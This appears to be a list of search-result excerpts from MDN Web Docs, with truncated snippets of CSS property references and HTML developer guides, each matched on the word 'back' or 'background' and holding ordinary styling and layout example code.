background-clip: content-box; } specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-top-right-radius' in that specification.
border-top-style - CSS: Cascading Style Sheets
ne</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 2px;
background-color: #52e385; } tr, td { padding: 3px; } /* border-top-style example classes */ .b1 {border-top-style: none;} .b2 {border-top-style: hidden;} .b3 {border-top-style: dotted;} .b4 {border-top-style: dashed;} .b5 {border-top-style: solid;} .b6 {border-top-style: double;} .b7 {border-top-style: groove;} .b8 {border-top-style: ridge;} .b9 {border-top-style: inset;} .b10 {border-top-style: o...
...utset;} result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-top-style' in that specification.
clip-path - CSS: Cascading Style Sheets
er viewbox"> <svg viewbox="0 0 192 192"> <g class="shape9"> <rect x="24" y="24" width="144" height="144" /> <text x="96" y="91">i love</text> <text x="96" y="109" class="em">clipping</text> </g> </svg> </div> </div> </div> </div> </div> html,body { height: 100%; box-sizing: border-box;
background: #eee; } .grid { width: 100%; height: 100%; display: flex; font: 1em monospace; } .row { display: flex; flex: 1 auto; flex-direction: row; flex-wrap: wrap; } .col { flex: 1 auto; } .cell { margin: .5em; padding: .5em;
background-color: #fff; overflow: hidden; text-align: center; flex: 1; } .note {
background: #fff3d4; padding: 1em; margin: .5em .5em ...
...rgin'; position: absolute; top: 2px; left: 2px; font: italic .6em sans-serif; } .viewbox { box-shadow: 1rem 1rem 0 #efefef inset, -1rem -1rem 0 #efefef inset; } .container.viewbox:after { content: 'viewbox'; position: absolute; left: 1.1rem; top: 1.1rem; font: italic .6em sans-serif; } .cell span { display: block; margin-bottom: .5em; } p { font-family: sans-serif;
background: #000; color: pink; margin: 2em; padding: 3em 1em; border: 1em solid pink; width: 6em; } .none { clip-path: none; } .svg { clip-path: url(#mypath); } .svg2 { clip-path: path('m15,45 a30,30,0,0,1,75,45 a30,30,0,0,1,135,45 q135,90,75,130 q15,90,15,45 z');} .shape1 { clip-path: circle(25%); } .shape2 { clip-path: circle(25% at 25% 25%); } .shape3 { clip-path: fill-box circle(25%...
color - CSS: Cascading Style Sheets
accessibility concerns it is important to ensure that the contrast ratio between the color of the text and the
background the text is placed over is high enough that people experiencing low vision conditions will be able to read the content of the page.
... color contrast ratio is determined by comparing the luminosity of the text and
background color values.
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
it also details the in-built
backwards compatibility for the display property.
...the reason we tend to use it is to allow padding to push inline items away from an element, when creating navigation items for example, or when wanting to add a
background with padding to an inline element as in the example below.
<filter-function> - CSS: Cascading Style Sheets
it is used in the filter and
backdrop-filter properties.
...on>drop-shadow</option> <option>grayscale</option> <option>hue-rotate</option> <option>invert</option> <option>opacity</option> <option>saturate</option> <option>sepia</option> </select> </li> <li> <input type="range"><output></output> </li> <li> <p>current value: <code></code></p> </li> </ul> css div { width: 300px; height: 300px;
background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center; } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } input { width: 60% } output { width: 5%; text-align: center; } select { width: 40%; margin-left: 2px; } javascript const selectelem = document.qu...
font-family - CSS: Cascading Style Sheets
this lets the browser select an acceptable fall
back font when necessary.
... <generic-name> generic font families are a fall
back mechanism, a means of preserving some of the style sheet author's intent when none of the specified fonts are available.
font-weight - CSS: Cascading Style Sheets
451) will be translated to one of these values for non-variable fonts using the fall
back weights system.
... fall
back weights if the exact weight given is unavailable, then the following rule is used to determine the weight actually rendered: if the target weight given is between 400 and 500 inclusive: look for available weights between the target and 500, in ascending order.
gap (grid-gap) - CSS: Cascading Style Sheets
examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; flex-wrap: wrap; width: 300px; gap: 20px 5px; } #flexbox > div { border: 1px solid green;
background-color: lime; flex: 1 1 auto; width: 100px; height: 50px; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #grid { grid-gap: 20px 5px; } #grid { display: grid; height: 200px; grid-template: repeat(3, 1fr) / repeat(3, 1fr); gap: 20px 5...
...px; } #grid > div { border: 1px solid green;
background-color: lime; } result multi-column layout html <p class="content-box"> this is some multi-column text with a 40px column gap created with the css <code>gap</code> property.
grid-auto-flow - CSS: Cascading Style Sheets
if it is omitted, a "sparse" algorithm is used, where the placement algorithm only ever moves "forward" in the grid when placing items, never
backtracking to fill holes.
...ption value="column">column</option> <option value="row">row</option> </select> <input id="dense" type="checkbox" onchange="changegridautoflow()"> <label for="dense">dense</label> css #grid { height: 200px; width: 200px; display: grid; grid-gap: 10px; grid-template: repeat(4, 1fr) / repeat(2, 1fr); grid-auto-flow: column; /* or 'row', 'row dense', 'column dense' */ } #item1 {
background-color: lime; grid-row-start: 3; } #item2 {
background-color: yellow; } #item3 {
background-color: blue; } #item4 { grid-column-start: 2;
background-color: red; } #item5 {
background-color: aqua; } function changegridautoflow() { var grid = document.getelementbyid("grid"); var direction = document.getelementbyid("direction"); var dense = document.getelementbyid("dense"...
image-rendering - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | crisp-edges | pixelated examples setting image scaling algorithms in practical use, the pixelated and crisp-edges rules can be combined to provide some fall
back for each other.
... (just prepend the actual rules with the fall
back.) the canvas api can provide a fall
back solution for pixelated through manual image data manipulation or with imagesmoothingenabled.
image-set() - CSS: Cascading Style Sheets
examples
background-image: image-set( "cat.png" 1x, "cat-2x.png" 2x, "cat-print.png" 600dpi); this example shows how to use image-set() to provide two alternative
background-image options, chosen depending on the resolution needed: a normal version and a high-resolution version.
... accessibility concerns browsers do not provide any special information on
background images to assistive technology.
<image> - CSS: Cascading Style Sheets
css determines an object's concrete size using (1) its intrinsic dimensions; (2) its specified size, defined by css properties like width, height, or
background-size; and (3) its default size, determined by the kind of property the image is used with: kind of object (css property) default object size
background-image the size of the element's
background positioning area list-style-image the size of a 1em character border-image-source the size of the element's border image area cursor ...
... accessibility concerns browsers do not provide any special information on
background images to assistive technology.
justify-content - CSS: Cascading Style Sheets
the fall
back alignment for first baseline is start, the one for last baseline is end.
...ight ]where <content-distribution> = space-between | space-around | space-evenly | stretch<overflow-position> = unsafe | safe<content-position> = center | start | end | flex-start | flex-end examples setting flex item distribution css #container { display: flex; justify-content: space-between; /* can be changed in the live sample */ } #container > div { width: 100px; height: 100px;
background: linear-gradient(-45deg, #788cff, #b4c8ff); } html <div id="container"> <div></div> <div></div> <div></div> </div> <select id="justifycontent"> <option value="start">start</option> <option value="end">end</option> <option value="flex-start">flex-start</option> <option value="flex-end">flex-end</option> <option value="center">center</option> <option value="left">left</o...
justify-items - CSS: Cascading Style Sheets
the fall
back alignment for first baseline is start, the one for last baseline is end.
... html <article class="container" tabindex="0"> <span>first child</span> <span>second child</span> <span>third child</span> <span>fourth child</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article {
background-color: red; display: grid; grid-template-columns: 1fr 1fr; grid-auto-rows: 40px; grid-gap: 10px; width: 300px; justify-items: stretch; } article:hover, article:focus { justify-items: center; } article span {
background-color: black; color: white; margin: 1px; text-align: center; } article, span { padding: 10px; border-radius: 7px; } article { margin: 20px; } ...
justify-self - CSS: Cascading Style Sheets
the fall
back alignment for first baseline is start, the one for last baseline is end.
... html <article class="container"> <span>first child</span> <span>second child</span> <span>third child</span> <span>fourth child</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article {
background-color: red; display: grid; grid-template-columns: 1fr 1fr; grid-auto-rows: 40px; grid-gap: 10px; width: 300px; justify-items: stretch; } span:nth-child(2) { justify-self: start; } span:nth-child(3) { justify-self: center; } span:nth-child(4) { justify-self: end; } article span {
background-color: black; color: white; margin: 1px; text-align: center; } article, spa...
left - CSS: Cascading Style Sheets
om: 10px; right: 20px; </pre> <p>absolute position inside of a parent with relative position</p> </div> <div id="example_5"> <pre> position: absolute; right: 0; left: 0; top: 200px; </pre> <p>absolute position with both left and right declared</p> </div> </div> </div> css #wrap { width: 700px; margin: 0 auto;
background: #5c5c5c; } pre { white-space: pre; white-space: pre-wrap; white-space: pre-line; word-wrap: break-word; } #example_1 { width: 200px; height: 200px; position: absolute; left: 20px; top: 20px;
background-color: #d8f5ff; } #example_2 { width: 200px; height: 200px; position: relative; top: 0; right: 0;
background-color: #c1ffdb; } #example_3 { width: 600px...
...; height: 400px; position: relative; top: 20px; left: 20px;
background-color: #ffd7c2; } #example_4 { width:200px; height:200px; position:absolute; bottom:10px; right:20px;
background-color:#ffc7e4; } #example_5 { position: absolute; right: 0; left: 0; top: 100px;
background-color: #d7ffc2; } result specifications specification status comment css positioned layout module level 3the definition of 'left' in that specification.
mask-position - CSS: Cascading Style Sheets
formal definition initial valuecenterapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to size of mask painting area minus size of mask layer image (see the text for
background-position)computed valueconsists of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.animation typerepeatable list of simple list of length, percentage, or calc formal syntax <position>#where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right |...
...| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting mask position css #wrapper { border: 1px solid black; width: 250px; height: 250px; } #masked { width: 250px; height: 250px;
background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: no-repeat; mask-position: top right; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="wrapper"> <div id="masked"> </div> </div> <select id="maskposition"> <option value="top">top</option> <option value="center">center</option> <option value="bottom">bottom</...
mask-type - CSS: Cascading Style Sheets
"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:alpha"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px;
background-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); } result setting a luminance mask html <div class="redsquare"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:luminance"> <rect x=".1" y=".1...
..." width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px;
background-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); mask-type:luminance; } result specifications specification status comment css masking module level 1the definition of 'mask-type' in that specification.
mask - CSS: Cascading Style Sheets
hic used as mask with a width and height of 50px */ mask: url(masks.svg#star) repeat-x; /* element within svg graphic used as horizontally repeated mask */ mask: url(masks.svg#star) stroke-box; /* element within svg graphic used as mask extending to the box enclosed by the stroke */ mask: url(masks.svg#star) exclude; /* element within svg graphic used as mask and combined with
background using non-overlapping parts */ /* global values */ mask: inherit; mask: initial; mask: unset; /* multiple masks */ mask: url(masks.svg#star) left / 16px repeat-y, /* element within svg graphic is used as a mask on the left-hand side with a width of 16px */ url(masks.svg#circle) right / 16px repeat-y; /* element within svg graphic is used as a mask on the right-hand side with a wi...
...k-repeat: no-repeatmask-position: centermask-clip: border-boxmask-origin: border-boxmask-size: automask-composite: addapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesas each of the properties of the shorthand:mask-position: refer to size of mask painting area minus size of mask layer image (see the text for
background-position)computed valueas each of the properties of the shorthand:mask-image: as specified, but with <url> values made absolutemask-mode: as specifiedmask-repeat: consists of two keywords, one per dimensionmask-position: consists of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.mask-cl...
object-position - CSS: Cascading Style Sheets
areas of the box which aren't covered by the replaced element's object will show the element's
background.
... img { width: 300px; height: 250px; border: 1px solid black;
background-color: silver; margin-right: 1em; object-fit: none; } #object-position-1 { object-position: 10px; } #object-position-2 { object-position: 100% 10%; } the first image is positioned with its left edge inset 10 pixels from the left edge of the element's box.
offset-position - CSS: Cascading Style Sheets
for more explanation of these value types, see
background-position.
...[ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting initial offset position <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); offset-position: left top; animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px;
background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } specifications specification status comment motion path module level 1the definition of 'offset-position' in that specification.
outline-offset - CSS: Cascading Style Sheets
in other words, it is the same as the parent element's
background.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea length formal syntax <length> examples setting outline offset in pixels html <p>gallia est omnis divisa in partes tres.</p> css p { outline: 1px dashed red; outline-offset: 10px;
background: yellow; border: 1px solid blue; margin: 15px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-offset' in that specification.
Guide to scroll anchoring - CSS: Cascading Style Sheets
to opt out the entire document, you can set it on the <body> element: body { overflow-anchor: none; } to opt out a certain part of the document use overflow-anchor: none on its container element: .container { overflow-anchor: none; } note: the specification details that once scroll anchoring has been opted out of, you cannot opt
back into it from a child element.
... for example, if you opt out for the entire document, you will not be able to set overflow-anchor: auto elsewhere in the document to turn it
back on for a subsection.
overscroll-behavior-block - CSS: Cascading Style Sheets
html <main> <div> <div> <p><code>overscroll-behavior-block</code> has been used to make it so that when the scroll boundaries of the yellow inner box are reached, the whole page does not begin to scroll.</p> </div> </div> </main> css main { height: 3000px; width: 500px;
background-color: white;
background-image: repeating-linear-gradient(to bottom, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } main > div { height: 300px; width: 400px; overflow: auto; position: relative; top: 50px; left: 50px; overscroll-behavior-block: contain; } div > div { height: 1500px; width: 100%;
background-color: yellow;
background-image: repeating-...
...linear-gradient(to bottom, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } p { padding: 10px;
background-color: rgba(255,0,0,0.5); margin: 0; width: 340px; position: relative; top: 10px; left: 10px; } result specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-block' in that specification.
overscroll-behavior-inline - CSS: Cascading Style Sheets
html <main> <div> <div> <p><code>overscroll-behavior-inline</code> has been used to make it so that when the scroll boundaries of the yellow inner box are reached, the whole page does not begin to scroll.</p> </div> </div> </main> css main { height: 400px; width: 3000px;
background-color: white;
background-image: repeating-linear-gradient(to right, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } main > div { height: 300px; width: 400px; overflow: auto; position: relative; top: 50px; left: 50px; overscroll-behavior-inline: contain; } div > div { height: 100%; width: 1500px;
background-color: yellow;
background-image: repeating-...
...linear-gradient(to right, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } p { padding: 10px;
background-color: rgba(255,0,0,0.5); margin: 0; width: 360px; position: relative; top: 10px; left: 10px; } result specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-inline' in that specification.
paint() - CSS: Cascading Style Sheets
in this example, we passed two arguments: whether the
background-image on a group of list items is filled or just has a stroke outline, and the width of that outline: <ul> <li>item 1</li> <li>item 2</li> <li>item 3</li> <li>item 4</li> <li>item 5</li> <li>item 6</li> <li>item 7</li> <li>item 8</li> <li>item 9</li> <li>item 10</li> <li>item 11</li> <li>item 12</li> <li>item 13</li> <li>item 14</li> <l...
...i>item 15</li> <li>item 16</li> <li>item 17</li> <li>item 18</li> <li>item 19</li> <li>item 20</li> </ul> css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); li { --boxcolor: hsla(55, 90%, 60%, 1.0);
background-image: paint(hollowhighlights, stroke, 2px); } li:nth-of-type(3n) { --boxcolor: hsla(155, 90%, 60%, 1.0);
background-image: paint(hollowhighlights, filled, 3px); } li:nth-of-type(3n+1) { --boxcolor: hsla(255, 90%, 60%, 1.0);
background-image: paint(hollowhighlights, stroke, 1px); } we've included a custom property in the selector block defining a boxcolor.
place-content - CSS: Cascading Style Sheets
the fall
back alignment for first baseline is start, the one for last baseline is end.
...entlistener("change", function (evt) { document.getelementbyid("container").style.writingmode = evt.target.value; }); var direction = document.getelementbyid("direction"); direction.addeventlistener("change", function (evt) { document.getelementbyid("container").style.direction = evt.target.value; }); css #container { display: flex; height:240px; width: 240px; flex-wrap: wrap;
background-color: #8c8c8c; writing-mode: horizontal-tb; /* can be changed in the live sample */ direction: ltr; /* can be changed in the live sample */ place-content: flex-end center; /* can be changed in the live sample */ } div > div { border: 2px solid #8c8c8c; width: 50px;
background-color: #a0c8ff; } .small { font-size: 12px; height: 40px; } .large { font-size: 14px; height...
place-self - CSS: Cascading Style Sheets
the fall
back alignment for first baseline is start, the one for last baseline is end.
... html <article class="container"> <span>first</span> <span>second</span> <span>third</span> <span>fourth</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article {
background-color: red; display: grid; grid-template-columns: 1fr 1fr; grid-auto-rows: 80px; grid-gap: 10px; width: 300px; } span:nth-child(2) { place-self: start center; } span:nth-child(3) { place-self: center start; } span:nth-child(4) { place-self: end; } article span {
background-color: black; color: white; margin: 1px; text-align: center; } article, span { padding: ...
right - CSS: Cascading Style Sheets
rresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples absolute and relative positioning using right html <div id="relative">relatively positioned</div> <div id="absolute">absolutely positioned</div> css #relative { width: 100px; height: 100px;
background-color: #ffc7e4; position: relative; top: 20px; left: 20px; } #absolute { width: 100px; height: 100px;
background-color: #ffd7c2; position: absolute; bottom: 10px; right: 20px; } result declaring both left and right when both left and right are declared, the element will stretch to meet both, unless other constraints prevent it from doing so.
... html <div id="parent">parent <div id="nowidth">no width</div> <div id="width">width: 100px</div> </div> css div { outline: 1px solid #cccccc; } #parent { width: 200px; height: 200px;
background-color: #ffc7e4; position: relative; } /* declare both a left and a right */ #width, #nowidth {
background-color: #c2ffd7; position: absolute; left: 0; right: 0; } /* declare a width */ #width { width: 100px; top: 60px; } result specifications specification status comment css positioned layout module level 3the definition of 'right' in that sp...
shape-image-threshold - CSS: Cascading Style Sheets
formal definition initial value0.0applies tofloatsinheritednocomputed valuethe same as the specified value after clipping the <number> to the range [0.0, 1.0].animation typea number formal syntax <alpha-value>where <alpha-value> = <number> | <percentage> examples aligning text to a gradient this example creates a <div> block with a gradient
background image.
...</p> css #gradient-shape { width: 150px; height: 150px; float: left;
background-image: linear-gradient(30deg, black, transparent 80%, transparent); shape-outside: linear-gradient(30deg, black, transparent 80%, transparent); shape-image-threshold: 0.2; } the shape is established here using
background-image with a linear gradient rather than an image file.
text-decoration-color - CSS: Cascading Style Sheets
accessibility concerns it is important to ensure that the contrast ratio between the color of the text, the
background the text is placed over, and the text decoration line is high enough that people experiencing low vision conditions will be able to read the content of the page.
... color contrast ratio is determined by comparing the luminosity of the text and
background color values.
text-indent - CSS: Cascading Style Sheets
length> | <percentage> examples simple indent html <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> css p { text-indent: 5em;
background: powderblue; } result percentage indent html <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> css p { text-indent: 30%; ...
...
background: plum; } result specifications specification status comment css text module level 3the definition of 'text-indent' in that specification.
rotate() - CSS: Cascading Style Sheets
coordinates on ℝ3 homogeneous coordinates on ℝℙ3 cos(a)-sin(a) sin(a)cos(a) cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)00sin(a)cos(a)0000100001 [cos(a) sin(a) -sin(a) cos(a) 0 0] examples basic example html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .rotated { transform: rotate(45deg); /* equal to rotatez(45deg) */
background-color: pink; } result combining rotation with another transformation if you want apply multiple transformations to an element, be careful about the order in which you specify your transformations.
... html <div>normal</div> <div class="rotate">rotated</div> <div class="rotate-translate">rotated + translated</div> <div class="translate-rotate">translated + rotated</div> css div { position: absolute; left: 40px; top: 40px; width: 100px; height: 100px;
background-color: lightgray; } .rotate {
background-color: transparent; outline: 2px dashed; transform: rotate(45deg); } .rotate-translate {
background-color: pink; transform: rotate(45deg) translatex(180px); } .translate-rotate {
background-color: gold; transform: translatex(180px) rotate(45deg); } result specifications specification status comment css transforms level 1the d...
scale() - CSS: Cascading Style Sheets
find out more: mdn understanding wcag, guideline 2.3 explanations understanding success criterion 2.3.3 | w3c understanding wcag 2.1 examples scaling the x and y dimensions together html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .scaled { transform: scale(0.7); /* equal to scalex(0.7) scaley(0.7) */
background-color: pink; } result scaling x and y dimensions separately, and translating the origin html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .scaled { transform: scale(2, 0.5); /* equal to scalex(2) s...
...caley(0.5) */ transform-origin: left;
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scale()' in that specification.
scale3d() - CSS: Cascading Style Sheets
sx000sy000sz sx0000sy0000sz00001 examples without changing the origin html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .scaled { transform: perspective(500px) scale3d(2, 0.7, 0.2) translatez(100px);
background-color: pink; } result translating the origin of the transformation html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .scaled { transform: perspective(500px) scale3d(2, 0.7, 0.2) translatez(...
...100px); transform-origin: left;
background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'scale3d()' in that specification.
translate3d() - CSS: Cascading Style Sheets
100tx010ty001tz0001 examples using a single axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px;
background-color: skyblue; } .moved { /* equivalent to perspective(500px) translatex(10px) */ transform: perspective(500px) translate3d(10px, 0, 0px);
background-color: pink; } result combining z-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px;
background-color: skyblue; } .moved { transfor...
...m: perspective(500px) translate3d(10px, 0, 100px);
background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'translate3d()' in that specification.
transform-style - CSS: Cascading Style Sheets
html <section id="example-element"> <div class="face front">1</div> <div class="face
back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </section> <div class="checkbox"> <label for="preserve"><code>preserve-3d</code></label> <input type="checkbox" id="preserve" checked> </div> css #example-element { margin: 50px; width: 100px; height: 100px; transform-style: preserve-3d; t...
...ransform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute;
backface-visibility: inherit; font-size: 60px; color: #fff; } .front {
background: rgba(90,90,90,.7); transform: translatez(50px); } .
back {
background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right {
background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left {
background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top {
background: rgba(210,210,0,.7); transform: rotatex(90deg) translatez(50px); } .bottom {
background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } javascript const cube = docum...
Used value - CSS: Cascading Style Sheets
the used values of shorthand properties (e.g.,
background) are consistent with those of their component properties (e.g.,
background-color or
background-size) and with position and float.
...the following are the css 2.1 properties that do depend on layout, so they have a different computed value and used value: (taken from css 2.1 changes: specified, computed, and actual values):
background-position bottom, left, right, top height, width margin-bottom, margin-left, margin-right, margin-top min-height, min-width padding-bottom, padding-left, padding-right, padding-top text-indent specification specification status comment css level 2 (revision 2)the definition of 'used value' in that specification.
width - CSS: Cascading Style Sheets
ments, table rows, and row groupsinheritednopercentagesrefer to the width of the containing blockcomputed valuea percentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples default width p.goldie {
background: gold; } <p class="goldie">the mozilla community produces a lot of great software.</p> pixels and ems .px_length { width: 200px;
background-color: red; color: white; border: 1px solid black; } .em_length { width: 20em;
background-color: white; color: red; border: 1px solid black; } <div class="px_length">width measured in px</div> <div class="em_length">width measure...
...d in em</div> percentage .percent { width: 20%;
background-color: silver; border: 1px solid red; } <div class="percent">width in percentage</div> max-content p.maxgreen {
background: lightgreen; width: intrinsic; /* safari/webkit uses a non-standard name */ width: -moz-max-content; /* firefox/gecko */ width: -webkit-max-content; /* chrome */ width: max-content; } <p class="maxgreen">the mozilla community produces a lot of great software.</p> min-content p.minblue {
background: lightblue; width: -moz-min-content; /* firefox */ width: -webkit-min-content; /* chrome */ width: min-content; } <p class="minblue">the mozilla community produces a lot of great software.</p> specifications specification status comment ...
WAI ARIA Live Regions/API Support - Developer guides
at this time, for properties where the container-[name] attribute has not been set, the at must have code to fall
back on the default value as defined in the w3c spec.
... key presses yes mouse clicks yes mouse hovers no page load events no everything else, including focus changes, timer call
backs, xmlhttprequest call
backs, etc.
Setting up adaptive streaming media sources - Developer guides
<video src="my.mpd" type="application/dash+xml"></video> it might be wise to provide a fall
back for browsers that don't yet support mpeg-dash: <video> <source src="my.mpd" type="application/dash+xml"> <!-- fall
back --> <source src="my.mp4" type="video/mp4"> <source src="my.webm" type="video/webm"> </video> live profile a useful piece of software when dealing with mpeg-dash is dash encoder.
... once you have generated your mpd file you can reference as expected it from within the <video> element: <video src="my.mpd" type="application/dash+xml"></video> it might be wise to provide a fall
back: <video> <source src="my.mpd" type="application/dash+xml"> <!-- fall
back --> <source src="my.mp4" type="video/mp4"> <source src="my.webm" type="video/webm"> </video> note: mpeg-dash play
back relies on dash.js and browser support for media source extensions, see the latest dash.js reference player.
Media buffering, seeking, and time ranges - Developer guides
var seekabletimeranges = myaudio.seekable; creating our own buffering feed
back if we wish to create our own custom player, we may want to provide feed
back on how much of the media is ready to be played.
...the html for our player looks like this: <audio id="my-audio" preload controls> <source src="music.mp3" type="audio/mpeg"> </audio> <div class="buffered"> <span id="buffered-amount"></span> </div> <div class="progress"> <span id="progress-amount"></span> </div> we'll use the following css to style the buffering display: .buffered { height: 20px; position: relative;
background: #555; width: 300px; } #buffered-amount { display: block; height: 100%;
background-color: #777; width: 0; } .progress { margin-top: -20px; height: 20px; position: relative; width: 300px; } #progress-amount { display: block; height: 100%;
background-color: #595; width: 0; } and the following javascript provides our functionality: window.onload = function(){ ...
Graphics on the Web - Developer guides
static images can easily be displayed using the <img> element, or by setting the
background of html elements using the
background-image property.
... video using html5 audio and video embedding video and/or audio in a web page and controlling its play
back.
Rich-Text Editing in Mozilla - Developer guides
the function executed the requested command using execcommand() and then sets focus
back to the editable document, as clicking on a button will set focus on the button itself, which breaks the editing flow.
...lue="6">very big</option> <option value="7">maximum</option> </select> <select onchange="formatdoc('forecolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- color -</option> <option value="red">red</option> <option value="blue">blue</option> <option value="green">green</option> <option value="black">black</option> </select> <select onchange="formatdoc('
backcolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>-
background -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;b...
HTML5 - Developer guides
performance and integration web workers allows delegation of javascript evaluation to
background threads, allowing these activities to prevent slowing down interactive events.
... new
background styling features it is now possible to put shadows on elements using box-shadow, multiple
backgrounds, and css filters.
Writing forward-compatible websites - Developer guides
prefixed, non-standard features are provided by browser developers for you to experiment with and offer feed
back on, and aren't meant to be deployed.
... when using cutting-edge features (even standard ones) that are not universally implemented, make sure to test fall
back paths make sure to test what happens in a browser that doesn't implement the feature you're using, especially if you don't use such a browser day-to-day while working on the site.
HTML attribute: rel - HTML: Hypertext Markup Language
not allowed annotation annotation ping
back gives the address of the ping
back server that handles ping
backs to the current document.
... ping
back gives the address of the ping
back server that handles ping
backs to the current document.
<a>: The Anchor element - HTML: Hypertext Markup Language
<a href="" download="my_painting.png">download my painting</a> </p> <canvas width="300" height="300"></canvas> css html { font-family: sans-serif; } canvas {
background: #fff; border: 1px dashed; } a { display: inline-block;
